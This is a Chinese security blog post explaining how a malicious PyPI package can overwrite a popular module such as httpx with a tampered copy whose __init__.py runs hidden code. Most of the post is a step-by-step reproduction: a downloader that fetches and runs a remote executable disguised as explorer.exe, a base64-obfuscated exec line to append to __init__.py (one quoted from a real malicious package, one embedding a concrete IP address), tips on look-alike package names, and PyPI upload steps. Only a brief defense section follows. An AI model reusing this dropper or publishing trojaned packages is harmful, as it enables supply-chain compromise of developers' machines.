PyPI供应链攻击之模块替换(含原理和复现)

admin 2024年2月22日17:36:46评论11 views字数 4665阅读15分33秒阅读模式

0x01 攻击发现

最近看到我司某实验室的一篇文章(https://tianwen.qianxin.com/blog/2024/02/05/pypi-trojan),在2024年2月,发现有攻击者开始利用Python包名和模块名不一致的特性,在Python包中添加常见的模块,如requests。新添加的模块会替换原有同名模块,导致用户使用时导入含有恶意代码的模块而被攻击。在发现的可疑的软件包中,包含了常见的模块httpx,requests,这些模块中的文件与官方模块中的文件基本一致,除了在模块初始化文件__init__.py中加入的一段Base64代码:

#updat-httpx/httpx/__init__.py...import base64; import requests; import subprocess; import threading; import os; exec(base64.b64decode(b'aW1wb3J0IHJlcXVlc3RzDQppbXBvcnQgc3VicHJv......DQo='))

这段Base64解码之后是一段Python代码,实现从C2下载一个木马程序并命名为explorer.exe,然后启动新线程执行这个程序。


0x02 攻击原理

PyPI(Python Package Index),是Python编程语言的官方软件包索引。它是一个用于存储和分发Python第三方库的在线资源库,任何人都可以在PyPI上下载第三方库或上传自己开发的库。

在PyPI中,包的名字必须是唯一的,不允许不同作者发布同名的软件包,但允许不同的软件包中包含相同的模块名。由于一个PyPI包可以包含多个模块的,所以攻击者可以构建一个恶意的包,在里面包含一个与httpx同名但__init__.py文件被篡改过的模块,当用户安装恶意的包时,里面的httpx模块也会被解压释放到site-packages目录下。如果用户之前下载过httpx模块,那么原来site-packages下的httpx目录就会被覆盖,导致模块替换。

为什么攻击者要篡改__init__.py文件?这是因为每次从一个包中导入模块时,都会调用包目录下的__init__.py文件。这个文件可以作为包的标识,Python 中的目录只有包含了一个名为 __init__.py的文件才会被认作是一个包。这个文件可以是空的,也可以包含 Python 代码。这个文件也可以用来初始化代码,由于每次导入包时,__init__.py 都会被执行,所以可以在这里做一些准备工作,比如初始化包所需的资源,或者设置包里模块的默认值等。将恶意代码加入__init__.py文件中,可以导致每次引入包中的模块时触发恶意代码。

所以当模块替换发生后,用户每一次调用httpx模块,都会导致httpx目录下的__init__.py中的恶意代码执行。


0x03攻击复现

以替换httpx模块为例进行供应链攻击复现。

首先去PyPI官网下载httpx的包,解压后删除如下几个文件:

PyPI供应链攻击之模块替换(含原理和复现)

然后给这个包起个名字,例如httpx2.0这种容易让人混淆去安装的,或httpc这种容易手抖输错的。自己再去生成README文件、LICENSE文件、setup.py文件,可以参考这篇文章:https://blog.csdn.net/m0_59596937/article/details/132797213

setup.py文件需要包含httpx目录,也可以使用find_packages() 函数来查找包含当前目录下的所有包。内容示例:

#setup.pyfrom distutils.core import setupfrom setuptools import find_packages
with open("README.rst", "r") as f: long_description = f.read()
setup(name='qaxtest-httpx', #包名 version='1.1.3', #版本号 description='A small example package', long_description=long_description, author='qwe', author_email='[email protected]', url='', install_requires=[], license='BSD License', packages=['httpx'], platforms=["all"], classifiers=['Intended Audience :: Developers','Operating System :: OS Independent','Natural Language :: Chinese (Simplified)','Programming Language :: Python','Programming Language :: Python :: 2','Programming Language :: Python :: 2.7','Programming Language :: Python :: 3','Programming Language :: Python :: 3.5','Programming Language :: Python :: 3.6','Programming Language :: Python :: 3.7','Programming Language :: Python :: 3.8','Programming Language :: Python :: 3.9','Topic :: Software Development :: Libraries' ], )

编写一段py代码,模拟远程下载启动木马程序(这里用远程计算器程序替代):

import requestsimport subprocessimport threadingimport os
path = os.environ["USERPROFILE"] + "AppDataLocalexplorer.exe"
def process() -> None:if os.path.exists(path): subprocess.run(path, shell=True)
def download() -> None: response = requests.get("http://xx.xx.xx.xx/calc.exe")
if response.status_code != 200: exit()
with open(path, 'wb') as file: file.write(response.content)
def execute() -> None: thread = threading.Thread(target=process) thread.start()
download(); execute()

然后将这段代码转为base64格式:

PyPI供应链攻击之模块替换(含原理和复现)

然后将如下代码追加到httpx目录下的__init__.py文件末尾中,这样可以在不影响httpx库正常初始化的情况下执行恶意代码,增加隐蔽性:

#__init__.py......import base64; import requests; import subprocess; import threading; import os; exec(base64.b64decode(b'aW1wb3J0IHJlcXVlc3RzCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCB0aHJlYWRpbmcKaW1wb3J0IG9zCgpwYXRoID0gb3MuZW52aXJvblsiVVNFUlBST0ZJTEUiXSArICJcQXBwRGF0YVxMb2NhbFxleHBsb3Jlci5leGUiCgpkZWYgcHJvY2VzcygpIC0+IE5vbmU6CiAgICBpZiBvcy5wYXRoLmV4aXN0cyhwYXRoKToKICAgICAgICBzdWJwcm9jZXNzLnJ1bihwYXRoLCBzaGVsbD1UcnVlKQoKZGVmIGRvd25sb2FkKCkgLT4gTm9uZToKICAgIHJlc3BvbnNlID0gcmVxdWVzdHMuZ2V0KCJodHRwOi8vMTA3LjE0OC4xLjQxOjgwNzcvY2FsYy5leGUiKQoKICAgIGlmIHJlc3BvbnNlLnN0YXR1c19jb2RlICE9IDIwMDoKICAgICAgICBleGl0KCkKCiAgICB3aXRoIG9wZW4ocGF0aCwgJ3diJykgYXMgZmlsZToKICAgICAgICBmaWxlLndyaXRlKHJlc3BvbnNlLmNvbnRlbnQpCgpkZWYgZXhlY3V0ZSgpIC0+IE5vbmU6CiAgICB0aHJlYWQgPSB0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1wcm9jZXNzKQogICAgdGhyZWFkLnN0YXJ0KCkKCmRvd25sb2FkKCk7IGV4ZWN1dGUoKQ=='))

然后就需要将构建的恶意包进行打包,在包目录下执行如下命令进行包的构建:

python3 -m pip install --user --upgrade setuptools wheel

python setup.py sdist build

结束后,在当前目录的dist文件夹下, 会生成一个tar.gz结尾的包。接下来需要将这个包上传到pypi上。

 PyPI供应链攻击之模块替换(含原理和复现)

首先需要在https://pypi.org/注册一个账号,并完成邮箱验证、双因素验证,获取api token,这个大家自行百度吧。

将获取的token保存好之后,需要在用户目录下创建一个.pypirc文件,里面写好认证相关信息,就可以避免每次上传包时输入验证信息了。username都是_token_,password就是上面拿到的token。

PyPI供应链攻击之模块替换(含原理和复现)

接下来,将生成的包上传到pypi。首先需要pip install twine安装twine,然后twine upload 文件路径 来上传包文件:

PyPI供应链攻击之模块替换(含原理和复现)

在pypi上可以看到上传成功:

PyPI供应链攻击之模块替换(含原理和复现)

首先安装真正的httpx,可以关注httpx文件的修改时间:

PyPI供应链攻击之模块替换(含原理和复现)

PyPI供应链攻击之模块替换(含原理和复现)

随后模拟用户安装我们的恶意包:

PyPI供应链攻击之模块替换(含原理和复现)

再观察httpx文件的修改时间,发现原来的httpx模块文件被覆盖了:

PyPI供应链攻击之模块替换(含原理和复现)

接下来引用一下httpx模块,后门触发,远程文件被下载执行: 

PyPI供应链攻击之模块替换(含原理和复现)

PyPI供应链攻击之模块替换(含原理和复现)


0x04 攻击防御

这种攻击手法在实战攻防中其实并常见,多见于APT及灰黑产。这种攻击隐蔽性比较高,可以长期潜伏,对于Python特性不太熟悉的用户甚至无法察觉自己被攻击了。建议大家多锻炼身体,保护眼睛,不要手抖或者看岔,尤其是pip安装python包的时候。

说正经的,笔者拙见,这种攻击手段在遭受攻击的初始阶段是很难发现的,但是在触发阶段,可以监控python进程的一些异常行为,但是对于互联网企业来说,开发、运维、测试等人员机器上的python每天可能要执行很多脚本,从这么多的行为中发掘异常行为也是一个难点。此类攻击虽然难发现,但是可以从源头预防,例如建立企业私有的、受控的包索引,供开发测试人员使用,而非使用公开的PyPI。


本文内容仅用于研究学习,不可用于网络攻击等非法行为,否则造成的后果均与本文作者和本公众号无关,维护网络安全人人有责~

原文始发于微信公众号(红蓝攻防研究实验室):PyPI供应链攻击之模块替换(含原理和复现)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月22日17:36:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PyPI供应链攻击之模块替换(含原理和复现)https://cn-sec.com/archives/2513516.html

发表评论

匿名网友 填写信息